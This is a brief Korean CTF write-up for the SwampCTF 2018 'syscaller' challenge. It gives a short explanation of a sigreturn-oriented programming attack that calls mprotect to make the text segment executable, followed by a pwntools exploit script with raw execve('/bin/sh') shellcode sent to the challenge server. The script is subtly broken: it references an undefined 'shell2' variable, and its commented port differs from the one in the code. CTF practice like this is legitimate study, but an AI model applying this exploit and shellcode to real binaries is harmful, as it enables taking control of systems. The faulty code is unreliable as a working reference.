SROP

SwampCTF 2018

SROP 기본 문제이다.

보안 기법은 모두 꺼져있다.

    Arch:     amd64-64-little

    RELRO:    No RELRO

    Stack:    No canary found

    NX:       NX disabled

    PIE:      No PIE (0x400000)

text 영역에 rwx권한을 주고 다시 입력을 받게한다.

그리고 입력 받는 주소를 텍스트 영역에 가게하고 텍스트 영역을 쉘코드로 덮는다.

#!/usr/bin/env python
from pwn import *
import binascii
import time
 
 
context(log_level='debug',arch="amd64")
 
 
 
 
RAND_IMG_BASE = False
 
 
 
remote_flag = True
 
if remote_flag == False:
    s = process("/home/jhong/Desktop/syscaller")
else:
    #chal1.swampctf.com 1999
    debug = False
    s = remote("chal1.swampctf.com",1800)
 
binary = ELF("syscaller")
 
 
target = 0x400000
 
 
shell3 = "\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05"
 
 
 
frame = SigreturnFrame(kernel="amd64") # CREATING A SIGRETURN FRAME
frame.rax = 10 # SET RAX TO MPROTECT SYSCALL NUMBER
frame.rdi = target # SET RDI TO TEST ADDRESS
frame.rsi = 2000 # SET RSI TO SIZE
frame.rdx = 7 # SET RDX => RWX PERMISSION
frame.rsp = target+0x120
frame.rip = 0x400104   # SET RIP TO SYSCALL ADDRESS
 
 
 
 
payload = ""
payload += p64(15)
payload += p64(15)
payload += p64(15)
payload += p64(15)
payload += p64(15)
payload += p64(15)
payload += p64(15)
payload += p64(15)
payload = payload + str(frame)
payload = payload +"\x90" * (0x200 - len(payload) - len(shell3))+shell3
 
 
 
payload2 = "\x90"*(0x200- len(shell2))+shell2
 
 
s.sendafter("Hello and welcome to the Labyrinthe. Make your way or perish.\x0a",payload)
 
time.sleep(10)
 
s.send(payload2)
s.interactive()